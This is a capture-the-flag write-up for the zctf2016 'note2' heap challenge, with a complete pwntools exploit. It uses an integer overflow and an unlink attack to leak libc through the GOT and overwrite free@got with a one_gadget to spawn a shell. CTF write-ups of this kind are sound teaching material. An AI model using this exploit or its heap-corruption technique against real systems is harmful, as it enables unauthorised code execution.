zctf2016_note2
step
- Routine inspection, 64-bit program, canary and nx are enabled
- Try it out to see the general situation, the classic stacking menu
- 64-bit ida is loaded for easy viewing of the program. I modified the function name
New_note()
when i was unsigned_int64, but the i in the for loop was int64. We all know that in the C language, unsigned variables and signed variables When comparing, the signed variables will be converted into unsigned variables for comparison. So here when the size is 0. (unsigned int)(size-1) is a very large integer, there is an integer overflow vulnerability
show_note()
edit_note(), 1 is overwrite, 2 is add
delete_note()
Use ideas
- Since the pointer of the requested heap block is placed on the bss segment, the address of the pointer can be known, so consider using unlink. Use unlink to allocate to the ptr array storing chunks.
- Change the address of the chunk to the address of the got table to leak libc
- Use the edit function to change free@got to the address of the system function, let the program execute again, and enter the parameter "/bin/sh\x00", that is, execute system("/bin/sh") to get the shell.
Utilization process:
- The first is that unlink
first designs the ideal state of the heap during unlink. Among them, chunk2 is to be freed. When performing backward merging, unlink the fake chunk P. The final result is to let ptr0 point to &ptr0-0x18 to
construct the heap structure shown in the figure above.
The fake chunk in chunk0 can be completed directly when calling new note at the beginning.
The pre_size and size fields of chunk2 require chunk1 to overflow to complete. After applying for chunk0, chunk1, and chunk2, free chunk1 and put it into fastbin, and then apply for it back. Due to the vulnerability of writing new notes of arbitrary length, chunk1 is overflowed to modify the header of chunk2, thereby bypassing unlink's check on the size of fake_chunk
ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10
note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "bb") #note2
delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)
delete_note(2)
- After leaking libc to
complete unlink, we get a space that can be read and written at any address, which can be used to leak free@got and calculate the offset of the program
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
edit_note(0, 1, payload)
gdb.attach(io)
show_note(0)
io.recvuntil("is ")
free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))
- After getting the offset, you can change free@got to one_gadget.
At first, I thought about changing it to system, but because the content on the chunk address was not free in delete, system ('/bin/sh' could not be executed) ), I changed it to one_gadget (get libc, it is more convenient to use one_gadget under the condition of full set of registers), after the modification, you can get the shell directly
Full exp
#coding=utf-8
from pwn import *
io = remote('node3.buuoj.cn',29792)
#io = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc-2.23-64.so")
#context.log_level = "debug"
def new_note(size, content):
io.recvuntil(">>")
io.sendline("1")
io.recvuntil(")")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def show_note(index):
io.recvuntil(">>")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(index))
def edit_note(index, choice, content):
io.recvuntil(">>")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(index))
io.recvuntil("]")
io.sendline(str(choice))
io.recvuntil(":")
io.sendline(content)
def delete_note(index):
io.recvuntil(">>")
io.sendline("4")
io.recvuntil(":")
io.sendline(str(index))
io.recvuntil(":")
io.sendline("/bin/sh") #name
io.recvuntil(":")
io.sendline("ddd")
ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10
note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "/bin/sh") #note2
#gdb.attach(io)
delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)
delete_note(2) #unlink
#gdb.attach(io)
# 泄漏libc
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
#gdb.attach(io)
edit_note(0, 1, payload)
#gdb.attach(io)
show_note(0)
io.recvuntil("is ")
free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))
#get shell
system_addr = libc_addr + libc.symbols["system"]
one_gadget = libc_addr + 0xf02a4
edit_note(0, 1, p64(one_gadget)) #overwrite free got -> system address
#io.sendlineafter('option--->>','/bin/sh\x00')
io.interactive()
This question mainly uses the knowledge of unlink. If you are not sure, you can read my previous article.
Reference wp: https://blog.csdn.net/weixin_38419913/article/details/103333195